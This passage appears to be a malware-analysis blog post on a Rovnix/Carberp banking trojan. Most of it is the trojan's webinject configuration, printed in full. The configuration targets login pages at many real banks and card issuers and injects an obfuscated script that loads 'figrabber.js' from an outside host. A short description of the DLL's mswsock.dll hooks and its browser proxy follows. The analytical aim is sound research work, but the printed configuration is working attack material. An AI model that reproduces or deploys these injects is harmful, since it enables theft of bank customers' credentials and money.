 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*.mycardstatement.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*.mycardstatement.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*.mycardstatement.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*.mycardstatement.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*accessmycardonline.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*accessmycardonline.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*accessmycardonline.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*accessmycardonline.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdcardservices.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdcardservices.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdcardservices.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdcardservices.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdbank.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdbank.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdbank.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*tdbank.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*regions.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*regions.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*regions.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*regions.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthcardsonline.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthcardsonline.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthcardsonline.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthcardsonline.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthonline.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthonline.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthonline.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bancorpsouthonline.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*statefarm.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*statefarm.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*statefarm.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*statefarm.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*associatedbank.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*associatedbank.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*associatedbank.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*associatedbank.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*usaa.com/inet/ent_logon/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*usaa.com/inet/ent_logon/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*usaa.com/inet/ent_logon/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*usaa.com/inet/ent_logon/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*mtb.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*mtb.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*mtb.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*mtb.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*wellsfargo.com* GP  
 data_before  
 <head>*content="WELLS FARGO BANK"/>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*usbank.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*usbank.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*usbank.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*usbank.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*suntrust.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*suntrust.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*suntrust.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*suntrust.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*managemycreditcard.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*managemycreditcard.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*managemycreditcard.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*managemycreditcard.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*cucc.fdecs.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cucc.fdecs.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cucc.fdecs.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cucc.fdecs.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url https://fmerchants.fdecs.com/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://fmerchants.fdecs.com/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://fmerchants.fdecs.com/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://fmerchants.fdecs.com/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardcenterdirect.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardcenterdirect.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardcenterdirect.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardcenterdirect.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url https://www.pnc.com/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.pnc.com/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.pnc.com/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.pnc.com/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*myaccountaccess.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*myaccountaccess.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*myaccountaccess.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*myaccountaccess.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url https://secure.fiacardservices.com/login/trans/cc/sign-in/entry/signOnScreen.go GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://secure.fiacardservices.com/login/trans/cc/sign-in/entry/signOnScreen.go GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://secure.fiacardservices.com/login/trans/cc/sign-in/entry/signOnScreen.go GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://secure.fiacardservices.com/login/trans/cc/sign-in/entry/signOnScreen.go GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*gotomycard.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*gotomycard.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*gotomycard.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*gotomycard.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*etrade.com* GP  
 data_before  
 js/global  
 data_end  
 data_inject  
 ebal  
 data_end  
 data_after  
 data_end  
 set_url http*://*etrade.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*etrade.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*etrade.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*etrade.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*firstnational.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*firstnational.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*firstnational.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*firstnational.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url https://www.firstbankcard.com/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.firstbankcard.com/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.firstbankcard.com/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.firstbankcard.com/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*chase.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*chase.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*chase.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*chase.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*bbt.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bbt.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bbt.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bbt.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankofamerica.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankofamerica.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankofamerica.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankofamerica.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*onlinecreditcenter6.com/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*onlinecreditcenter6.com/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*onlinecreditcenter6.com/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*onlinecreditcenter6.com/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankhost.com/cardviewonlinenow/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankhost.com/cardviewonlinenow/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankhost.com/cardviewonlinenow/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*bankhost.com/cardviewonlinenow/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*reviewmyaccount.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*reviewmyaccount.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*reviewmyaccount.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*reviewmyaccount.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*53.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*53.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*53.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*53.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*discover*.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*discover*.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*discover*.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*discover*.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*capitalone*.com/* GP  
 data_before  
 if (self == top  
 data_end  
 data_inject  
  && 1 == 0){  
 var wafli = "wafli";}  
 data_end  
 data_after  
 setCookie  
 data_end  
 set_url http*://*capitalone*.com/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*capitalone*.com/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*capitalone*.com/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
      finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*capitalone*.com/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url https://www.accountonline.com/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.accountonline.com/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.accountonline.com/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.accountonline.com/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*americanexpress.com/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*americanexpress.com/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*americanexpress.com/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*americanexpress.com/* GP00:59 28-Apr-15  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  



The DLL file that is injected by the plugin to a browser process setup hooks on three functions from the mswsock.dll, the hooked functions are: WSPConnect, WSPCloseSocket and WSPGetPeerName:
mswsock.dll hooks

After the generic hooks at mswsock.dll it will hook specific functions depending on which browser it was injected into.
Internet Explorer Hook list

The injected browser will connect to the proxy socket and the proxy will search for matching web-injects, if the proxy was able to find a match it injects the content into the loaded page:



An example of a java-script code injected to a user-loaded soctiabank page:

Conclusion

The pyaload of this Rovnix variant (Carberp.C?) is used as a downloader for plugins and executables, most of the malicious activity is found inside the plugins which are self-contained DLLs. 

No comments:

Post a Comment